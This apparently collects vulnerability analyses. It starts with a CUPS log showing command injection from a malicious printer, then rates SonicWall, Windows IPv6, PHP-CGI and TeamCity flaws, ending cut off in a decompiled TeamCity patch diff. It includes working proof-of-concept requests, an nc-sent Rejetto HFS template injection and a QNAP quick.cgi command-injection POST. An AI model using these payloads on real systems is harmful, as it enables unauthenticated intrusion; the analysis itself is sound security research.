[27/Sep/2024:15:14:31 +0100] [Job 1] envp[28]="AUTH_I****" D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/pdftopdf (PID 6419) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter /usr/lib/cups/filter/foomatic-rip (PID 6420) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started backend /usr/lib/cups/backend/ipp (PID 6421) D [27/Sep/2024:15:14:31 +0100] [Job 1] Calling FindDeviceById(cups-printerhax1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to send: org.freedesktop.ColorManager.NotFound:device id \'cups-printerhax1\' does not exist D [27/Sep/2024:15:14:31 +0100] [Job 1] Failed to get find device cups-printerhax1 D [27/Sep/2024:15:14:31 +0100] [Job 1] \'CM Color Calibration\' Mode in SPOOLER-LESS: Off D [27/Sep/2024:15:14:31 +0100] [Job 1] Getting input from file D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip version 1.28.15 running... D [27/Sep/2024:15:14:31 +0100] [Job 1] Parsing PPD file ... D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PageSize D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option ImageableArea D [27/Sep/2024:15:14:31 +0100] [Job 1] Sending stdin for job... D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option PaperDimension D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option MediaType D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option Resolution D [27/Sep/2024:15:14:31 +0100] [Job 1] Added option cupsPrintQuality D [27/Sep/2024:15:14:31 +0100] [Job 1] Parameter Summary D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Spooler: cups D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer: printerhax1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Shell: /bin/sh D [27/Sep/2024:15:14:31 +0100] [Job 1] PPD file: /etc/cups/ppd/printerhax1.ppd D [27/Sep/2024:15:14:31 +0100] [Job 1] ATTR file: D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer model: 0.00 - IPP Everywhere D [27/Sep/2024:15:14:31 +0100] [Job 1] Job title: Untitled Document 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] File(s) to be printed: D [27/Sep/2024:15:14:31 +0100] [Job 1] <STDIN> D [27/Sep/2024:15:14:31 +0100] [Job 1] Ghostscript extra search path (\'GS_LIB\'): /usr/share/cups/fonts D [27/Sep/2024:15:14:31 +0100] [Job 1] Printing system options: D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-user-name=testuser\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-user-name=testuser. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-priority=50\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-priority=50. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'number-up=1\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option number-up=1. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'noCollate\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown boolean option \"noCollate\". D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-sheets=none,none\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-sheets=none,none. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-originating-host-name=localhost\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-originating-host-name=localhost. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-creation=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-creation=. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'date-time-at-processing=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option date-time-at-processing=. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-creation=1727446454\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-creation=1727446454. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'time-at-processing=1727446454\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option time-at-processing=1727446454. D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'job-impressions-completed=0\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Unknown option job-impressions-completed=0. D [27/Sep/2024:15:14:31 +0100] [Job 1] CM Color Calibration Mode in CUPS: Off D [27/Sep/2024:15:14:31 +0100] [Job 1] Options from the PPD file: D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'MediaType=\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Pondering option \'PageSize=A4\' D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================ D [27/Sep/2024:15:14:31 +0100] [Job 1] File: <STDIN> D [27/Sep/2024:15:14:31 +0100] [Job 1] ================================================ D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: +connecting-to-device D [27/Sep/2024:15:14:31 +0100] [Job 1] Looking up \"printerhax1.local\"... D [27/Sep/2024:15:14:31 +0100] [Job 1] STATE: -connecting-to-device D [27/Sep/2024:15:14:31 +0100] [Job 1] printerhax1.local=192.168.86.42 D [27/Sep/2024:15:14:31 +0100] [Job 1] backendWaitLoop(snmp_fd=5, addr=0x5651dfc47368, side_cb=0x5651df842c50) D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Last filter determined by the PPD: -; FINAL_CONTENT_TYPE: application/pdf => pdftopdf will log pages in page_log. D [27/Sep/2024:15:14:31 +0100] [Job 1] PDF interactive form and annotation flattening done via QPDF D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: \"print-scaling\" IPP attribute: auto D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf: Print scaling mode: Do not scale, center, crop if needed D [27/Sep/2024:15:14:31 +0100] [Job 1] After Cropping: 595.275574 841.889771 595.275574 841.889771 D [27/Sep/2024:15:14:31 +0100] [Job 1] PAGE: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PDF D [27/Sep/2024:15:14:31 +0100] [Job 1] PostScript option found: PageSize=A4: \"<</PageSize[595.275590551181 841.889763779528]>>setpagedevice\" D [27/Sep/2024:15:14:31 +0100] [Job 1] Driver does not understand PDF input, converting to PostScript D [27/Sep/2024:15:14:31 +0100] [Job 1] Storing temporary files in /tmp D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6419 (/usr/lib/cups/filter/pdftopdf) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] File contains 1 pages. D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"pdf-to-ps\" (generation 1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Printer make and model: printerhax1 0.00 D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for pstops: pstops 1 testuser \'Untitled Document 1\' 1 \' job-originating-user-name=testuser MediaType= job-priority=50 PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0\' D [27/Sep/2024:15:14:31 +0100] [Job 1] Using image rendering resolution 300 dpi D [27/Sep/2024:15:14:31 +0100] [Job 1] Running command line for gs: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=%stderr -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=%stdout -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE -c \'save pop\' -f /tmp/foomatic-P4LVq9 D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter gs (PID 6426) D [27/Sep/2024:15:14:31 +0100] [Job 1] Started filter pstops (PID 6427) D [27/Sep/2024:15:14:31 +0100] [Job 1] Page = 595x842; 18,36 to 577,806 D [27/Sep/2024:15:14:31 +0100] [Job 1] slow_collate=0, slow_duplex=0, slow_order=0 D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_comments - %!PS-Adobe-3.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] %!PS-Adobe-3.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Invocation: gs -q -dNOPAUSE -dBATCH -dSAFER -dNOMEDIAATTRS -sstdout=? -sDEVICE=ps2write -dShowAcroForm -sOUTPUTFILE=? -sProcessColorModel=DeviceGray -sColorConversionStrategy=Gray -dLanguageLevel=3 -r300 -dCompressFonts=false -dNoT3CCITT -dNOINTERPOLATE ? D [27/Sep/2024:15:14:31 +0100] [Job 1] %%+ ? -f ? D [27/Sep/2024:15:14:31 +0100] [Job 1] %%BoundingBox: 0 0 596 842 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%HiResBoundingBox: 0 0 596.00 842.00 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Creator: GPL Ghostscript 9550 (ps2write) D [27/Sep/2024:15:14:31 +0100] [Job 1] %%LanguageLevel: 2 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%CreationDate: D:20240927151414+01\'00\' D [27/Sep/2024:15:14:31 +0100] [Job 1] %%Pages: 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] %%EndComments D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_prolog - %%BeginProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] Filetype: PostScript D [27/Sep/2024:15:14:31 +0100] [Job 1] Reading PostScript input ... D [27/Sep/2024:15:14:31 +0100] [Job 1] --> This document is DSC-conforming! D [27/Sep/2024:15:14:31 +0100] [Job 1] Found %RBINumCopies: 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Prolog\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Before copy_setup - %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Before page loop - %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Copying page 1... D [27/Sep/2024:15:14:31 +0100] [Job 1] pagew = 559.3, pagel = 769.9 D [27/Sep/2024:15:14:31 +0100] [Job 1] bboxx = 0, bboxy = 0, bboxw = 595, bboxl = 841 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageLeft = 18.0, PageRight = 577.3 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageTop = 805.9, PageBottom = 36.0 D [27/Sep/2024:15:14:31 +0100] [Job 1] PageWidth = 595.3, PageLength = 841.9 D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndProlog D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *MediaType D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: MediaType= D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *PageSize A4 D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: PageSize=A4 D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *cupsPrintQuality Normal D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: cupsPrintQuality=Normal D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] ----------- D [27/Sep/2024:15:14:31 +0100] [Job 1] New page: %%Page: 1 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] \"Setup\" section is missing, inserting it. D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Setup\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginPageSetup D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"PageSetup\" section. D [27/Sep/2024:15:14:31 +0100] [Job 1] Wrote 1 pages... D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6427 (pstops) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6426 (gs) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] Flushing FIFO. D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\" D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid3\" (generation 1) D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid4\" (generation 2) D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"renderer\" (generation 2) D [27/Sep/2024:15:14:31 +0100] [Job 1] renderer exited with status 0 D [27/Sep/2024:15:14:31 +0100] [Job 1] JCL: \033%-12345X@PJL D [27/Sep/2024:15:14:31 +0100] [Job 1] <job data> D [27/Sep/2024:15:14:31 +0100] [Job 1] Process is dying with \"Encountered error Broken pipe during fwrite\", exit stat 1 D [27/Sep/2024:15:14:31 +0100] [Job 1] Cleaning up... D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing pdf-to-ps D [27/Sep/2024:15:14:31 +0100] [Job 1] kid4 exited with status 0 D [27/Sep/2024:15:14:31 +0100] [Job 1] kid3 finished D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing kid3 D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6420 (/usr/lib/cups/filter/foomatic-rip) stopped with status 1. D [27/Sep/2024:15:14:31 +0100] [Job 1] Hint: Try setting the LogLevel to "debug" to find out more. D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6421 (/usr/lib/cups/backend/ipp) exited with no errors. D [27/Sep/2024:15:14:31 +0100] [Job 1] End of messages D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state=3(idle) D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-message="Filter failed" D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-reasons=none
We can see above that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax"
details the IPP request to the remote attacker’s malicious printer.
We can also see that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\"
details the arbitrary OS command used during the command injection.
Technical Analysis
On August 22, 2024, SonicWall published an advisory for an improper access control vulnerability affecting multiple models in their Next Generation Firewall (NGFW) series of devices, specifically those running SonicOS v5, v6 and the latest version v7:
- 5.9.2.14-12o and below.
- 6.5.4.14-109n and below.
- 7.0.1-5035 and below.
The vendor also states:
This vulnerability is not reproducible in SonicOS firmware version higher than 7.0.1-5035
We can note that the next version greater than 7.0.1-5035
is 7.0.1-5052
which was released on April 2022, indicating this vulnerability has not affected the latest firmware version of generation 7 Sonicwall NGFW devices for the last 2 years.
The description of the vulnerability from the vendor states that the improper access control vulnerability is in the management access feature of the device, and can lead to either resource access or denial of service.
There are no technical detail to go on, so looking at the vendor supplied CVSS score of 9.3, we can see this vulnerability has been rated as unauthenticated, and allows for both changed scope and a high loss of confidentiality. However we can note that the loss of integrity is rated as none. It would seem based on this, that the vulnerability does not lead to RCE on the target device, but rather it is likely an information leak that can cause an attacker to access resources beyond the initial scope.
We can see SonicWall have updated their advisory to state:
SonicWall strongly advises that customers using GEN5 and GEN6 firewalls with SSLVPN users who have locally managed accounts immediately update their passwords to enhance security and prevent unauthorized access
Given there are no technical details available, we can speculate based on what little we know about the vulnerability. It is likely this vulnerability allows an unauthenticated attacker to leak the credentials of either some, or all, local user accounts on the target devices, and if the SSLVPN feature allows authentication based on local accounts, the attacker may be able to reuse these credentials to authenticate and VPN into the devices internal network. This would make sense given the CVSS score indicating the scope is changed. If an attacker can indeed leak local user account credentials, it is unknown if the attacker must first crack hashed password before reuse, or if some other mechanism for authentication will work, for example, if the leaked resource is not a hashed password, but rather a session token.
Organizations running affected devices can apply the vendor update. Additionally, the vendor recommends both disabling the management access feature on the WAN interface of the device, and enabling MFA for all SSLVPN users.
Given there are currently no technical details or PoC’s available, I have not rated the exploitability. The attacker value is high as the scope of access can be changed.
Technical Analysis
On August 13, 2024, Microsoft disclosed CVE-2024-38063, an integer underflow vulnerability (CWE-191) affecting the IPv6 component of the Windows TCP/IP networking stack.
The affected Windows versions are summarized below (For a detailed list see the Microsoft advisory):
- Windows 11
- Windows 10
- Windows Server 2022
- Windows Server 2019
- Windows Server 2016
- Windows Server 2012
- Windows Server 2008
We can see that this vulnerability affects a broad number of Windows systems, including all recent major versions and several older versions, dating back to Server 2008.
The vulnerability has been given a critical severity rating by Microsoft, with an accompanying CVSS score of 9.8. This score rates the vulnerability as both unauthenticated, and having low attacker complexity. Such a score indicates that this vulnerability may be a viable candidate for a remote code execution exploit. The low attacker complexity rating is likely an indication as to the ease in triggering the vulnerability, and not actually successfully exploiting the vulnerability to achieve RCE. Given that modern Windows kernels employ numerous memory corruption mitigations (such as Kernel ASLR, and Kernel CFG), and hardening techniques (such as PatchGuard and HyperGuard), actually building a reliable remote code execution exploit is likely difficult. It is worth noting that on older affected systems, like Server 2008, exploitation may be easier.
If we diff the patched tcpip.sys
driver against an older, unpatched copy of the driver, we can see that the function tcpip!Ipv6pProcessOptions
has been modified slightly. While it is currently unclear as to the root cause of the vulnerability based on this changed function, as there are no other notable changes in the tcpip.sys
driver, it is likely that IPv6 options processing is at play.
Given what we currently know about the vulnerability, I have given this an attacker value rating of very high, as a potential unauthenticated RCE in a default installation of Windows is a high value exploit for an attacker. However, given the likely complexity in building a successful RCE exploit targeting the broad gambit of affected Windows versions, I have given the exploitability rating as low.
The best protection at this time is to apply the official patch from Microsoft. If this is not possible, disabling IPv6 on the network adapter is the next best mitigation. Organizations can also evaluate if ingress IPv6 traffic is necessary on their networks.
Technical Analysis
Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.
Technical Analysis
Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.
Technical Analysis
I have rated the attacker value as high, as if the requirement to exploitation are met the attacker can get remote unauthenticated RCE on the target Windows server. I have rated the Exploitability as Low as there are several prerequisites for a target to be vulnerable, specifically.
- Target must be a web server running on a Windows system. A Web server on Linux for example can not be vulnerable. Currently I have only seen vulnerable Apache based configurations. I could not get IIS to be vulnerable during testing.
- Target webserver must expose PHP in CGI mode (as opposed to FastCGI mode which is generally more common), or expose the CGI binary directly through an Apache
ScriptAlias
directive.
- The target Windows OS must have its system locale set to either Japanese (Code page 932) or Chinese (Code pages 950 or 936). For this reason most systems that meet the other requirements will not be exploitable, as the systems locale must use a code page that can cause the vulnerability.
It is worth noting that XAMPP for Windows is in a vulnerable configuration by default, however the target Windows system XAMPP is running on still must meet the locale requirement of either Japanese or Chinese as mentioned above.
Technical Analysis
The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges of the user account running the HFS.exe
server process. The vulnerability has been confirmed to work against version 2.4.0 RC7
and 2.3m
. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers and no patch is available. Users are recommended to upgrade to version 3.x.
The server uses a default template when rendering the content for a HTTP response. This template when rendered will include the content of a request’s search
query parameter. It is this search
query parameter that lets us supply a value that will not be escaped correctly, and ultimately results in an SSTI vulnerability.
Under normal operation any user supplied content will be escaped, so any symbols, which are normally encoded as %symbol-name%
, and any macros, which are normally encoded as {:macro-name:}
will be escaped to prevent SSTI.
However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content being processed. We can do this via the sequence %25x%25symbol-name%25
.
We can leverage this to force the %url%
symbol to become unescaped. When the %url%
symbol is processed by the server, it will echo back the remainder of the URL into the server side content. By forcing the remainder of the URL in the HTTP request to not be correctly URL-encoded, we can now include characters such as additional %
or }
characters.
To inject arbitrary macros, we first need to close the default template MARKER_QUOTE
sequence ({:
) by writing an unexpected MARKER_UNQUOTE
(:}
) sequence, however this will still be filtered. To bypass this filtering, we can leverage the %host%
symbol and an empty host header value. So :%host%}
will become :}
and this will not be escaped. After this happens we can perform an arbitrary template injection containing a sequence of any HFS symbols or macros we want.
Finally we can execute an arbitrary operating system command by using the exec
macro as shown below. As the search
query parameter is processed several times by the default template, we avoid executing our command several times by issuing a break
macro which will stop all processing.
$ echo -ne "GET /?search=%25x%25url%25:%host%}{.exec|notepad.}{.break.} HTTP/1.1\r\nHost:\r\n\r\n" | nc 192.168.86.35 80
I have rated the exploitability of this vulnerability as very high, as it is trivial to exploit by a remote unauthenticated attacker. I have rated the attacker value as low as this is not an enterprise web server.
Technical Analysis
CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE. Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.
Technical Analysis
CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.
Technical Analysis
Based on writing the Metasploit exploit module for this vulnerability, I have rated the exploitability as very high, as leveraging CVE-2203-1709 to create a new administrator account is trivial. To leverage the vulnerability to get RCE requires more steps, but it is not that complex and exploitation appears reliable. The attacker value for this vulnerability is also very high given the nature of the target software.
Technical Analysis
An unauthenticated command injection vulnerability exists in the quick.cgi
component of the web administration server for QNAP QTS and QuTS Hero operating systems, used by numerous QNAP NAS devices. The quick.cgi
component exposes functionality to remotely provision a QNAP device. An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection.
The vulnerability affects QTS 5.1.x, prior to the vendor patch QTS 5.1.5.2645 build 20240116
, and QuTS hero h5.1.x, prior to the vendor patch QuTS hero h5.1.5.2647 build 20240118
.
A HTTP(S) POST request targeting the uploaf_firmware_image
functionality of quick.cgi
can trigger a command injection vulnerability if the user agent contains both the words Mozilla
and Macintosh
. This is because a file name passed as part of the POST request multipart form-data will be URL decoded if the user agent matches these special words. This allows for a double quote character (URL encoded as %22
) to be supplied as part of the file name, allowing a command string to be escaped and command injection to occur.
An example request that exploits this vulnerability is as follows:
POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1 Host: 192.168.86.42:8080 User-Agent: Mozilla Macintosh Accept: */* Content-Length: 164 Content-Type: multipart/form-data;boundary="avssqwfz" --avssqwfz Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22" Content-Type: text/plain skfqduny --avssqwfz–
A detailed analysis and PoC can be found in our Rapid7 disclosure.
Technical Analysis
CVE-2024-24942 is described by the vendor:
Path traversal allowed reading data within JAR archives.
If we decompile and diff the REST API from TeamCity 2023.11.2 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147486.jar
) against TeamCity 2023.11.3 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147512.jar
), we can see the SwaggerUI
class has been modified.
And reading the below diff, if appears this issue lies in an attacker being able to supply an arbitrary path when getting swagger resources from an unauthenticated endpoint.
--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java" +++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java" @@ -26,7 +26,7 @@ import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.core.Context; import javax.ws.rs.core.UriInfo; -import jetbrains.buildServer.server.rest.SwaggerUIUtil; +import jetbrains.buildServer.server.rest.swagger.SwaggerUtil; @Path(value="/app/rest/swaggerui") @Api(hidden=true) @@ -42,7 +42,7 @@ public class SwaggerUI { @GET @Produces(value={"text/html"}) public String serveSwaggerUI() { - try (InputStream input = SwaggerUIUtil.getFileFromResources("index.html");){ + try (InputStream input = SwaggerUtil.getFileFromResources("index.html");){ String string = StreamUtil.readText((InputStream)input, (String)"UTF-8"); return string; } @@ -62,7 +62,7 @@ public class SwaggerUI { if (path.equals("index.html")) { return this.serveSwaggerUI(); } - try (InputStream input = SwaggerUIUtil.getFileFromResources(path);){ + try (InputStream input = SwaggerUtil.getFileFromResources(path);){ if (path.endsWith(".js") || path.endsWith(".css")) { String string = StreamUtil.readText((InputStream)input, (String)"UTF-8"); return string;
We can see in the patched code, that SwaggerUIUtil.getFileFromResources
calls a helper method isValidResourcePath
. This helper method will detect the presence of double dot notation in a path, and cause an exception to be thrown, preventing the use of double dot notation during SwaggerUtil.class.getClassLoader().getResourceAsStream
.
--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\SwaggerUIUtil.java" +++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUtil.java" @@ -1,24 +1,245 @@ /* * Decompiled with CFR 0.152. + * + * Could not load the following classes: + * com.intellij.openapi.diagnostic.Logger + * io.swagger.models.Model + * io.swagger.models.Operation + * io.swagger.models.Path + * io.swagger.models.RefModel + * io.swagger.models.Response + * io.swagger.models.Swagger + * io.swagger.models.parameters.BodyParameter + * io.swagger.models.properties.ArrayProperty + * io.swagger.models.properties.MapProperty + * io.swagger.models.properties.Property + * io.swagger.models.properties.RefProperty + * org.jetbrains.annotations.NotNull */ -package jetbrains.buildServer.server.rest; +package jetbrains.buildServer.server.rest.swagger; +import com.intellij.openapi.diagnostic.Logger; +import io.swagger.models.Model; +import io.swagger.models.Operation; +import io.swagger.models.Path; +import io.swagger.models.RefModel; +import io.swagger.models.Response; +import io.swagger.models.Swagger; +import io.swagger.models.parameters.BodyParameter; +import io.swagger.models.properties.ArrayProperty; +import io.swagger.models.properties.MapProperty; +import io.swagger.models.properties.Property; +import io.swagger.models.properties.RefProperty; import java.io.InputStream; -import java.net.URL; +import java.util.ArrayDeque; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashSet; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import org.jetbrains.annotations.NotNull; -public class SwaggerUIUtil { +public class SwaggerUtil { + private static final Logger LOG = Logger.getInstance((String)SwaggerUtil.class.getName()); public static final String INDEX = "index.html"; - public static final String RESOURCE_PATH = "swagger/"; + private static final String RESOURCE_PATH = "swagger/"; - public static InputStream getFileFromResources(String path) { - String fullPath = RESOURCE_PATH + path; - ClassLoader classLoader = SwaggerUIUtil.class.getClassLoader(); - URL resource = classLoader.getResource(fullPath); - if (resource == null) { + static void doAnalyzeSwaggerDefinitionReferences(Swagger swagger) { + HashSet<String> usedReferences = new HashSet<String>(); + for (Path path : swagger.getPaths().values()) { + for (Operation operation : path.getOperations()) { + String ref; + Model schema; + Object parameter2; + List parameters = operation.getParameters(); + for (Object parameter2 : parameters) { + BodyParameter bp; + if (!(parameter2 instanceof BodyParameter) || !((schema = (bp = (BodyParameter)parameter2).getSchema()) instanceof RefModel)) continue; + RefModel rm = (RefModel)schema; + ref = rm.getSimpleRef(); + usedReferences.add(ref); + } + Map responses = operation.getResponses(); + parameter2 = responses.values().iterator(); + while (parameter2.hasNext()) { + Response response = (Response)parameter2.next(); + schema = response.getSchema(); + if (!(schema instanceof RefProperty)) continue; + RefProperty rp = (RefProperty)schema; + ref = rp.getSimpleRef(); + usedReferences.add(ref); + } + } + } + Map definitions = swagger.getDefinitions(); + ArrayDeque<String> queue = new ArrayDeque<String>(); + queue.addAll(usedReferences); + while (!queue.isEmpty()) { + String name = (String)queue.pop(); + Model model = (Model)definitions.get(name); + if (model == null) { + LOG.warn("Swagger definition '" + name + "' referenced but not found."); + continue; + } + Map properties = model.getProperties(); + if (properties == null) continue; + for (Property property : properties.values()) { + String ref = SwaggerUtil.getPropertySimpleRef(property); + if (ref == null || !usedReferences.add(ref)) continue; + queue.add(ref); + } + } + int used = usedReferences.size(); + int total = definitions.size(); + LOG.info("Swagger definitions stats: Total=" + total + " Used=" + used); + if (used != total) { + LinkedHashSet unused = new LinkedHashSet(definitions.keySet()); + unused.removeAll(usedReferences); + if (unused.size() > 30) { + LOG.warn("Too much unused definitions. Enable debug logs to see them"); + LOG.debug("Unused definitions: " + unused); + } else { + LOG.info("Unused definitions: " + unused); + } + } + } + + static <K extends Comparable<? super K>, V> Map<K, V> getOrderedMap(Map<K, V> input) { + if (input == null) { + return null; + } + LinkedHashMap<Comparable, V> sorted = new LinkedHashMap<Comparable, V>(); + ArrayList<K> keys = new ArrayList<K>(); + keys.addAll(input.keySet()); + Collections.sort(keys); + for (Comparable key : keys) { + sorted.put(key, 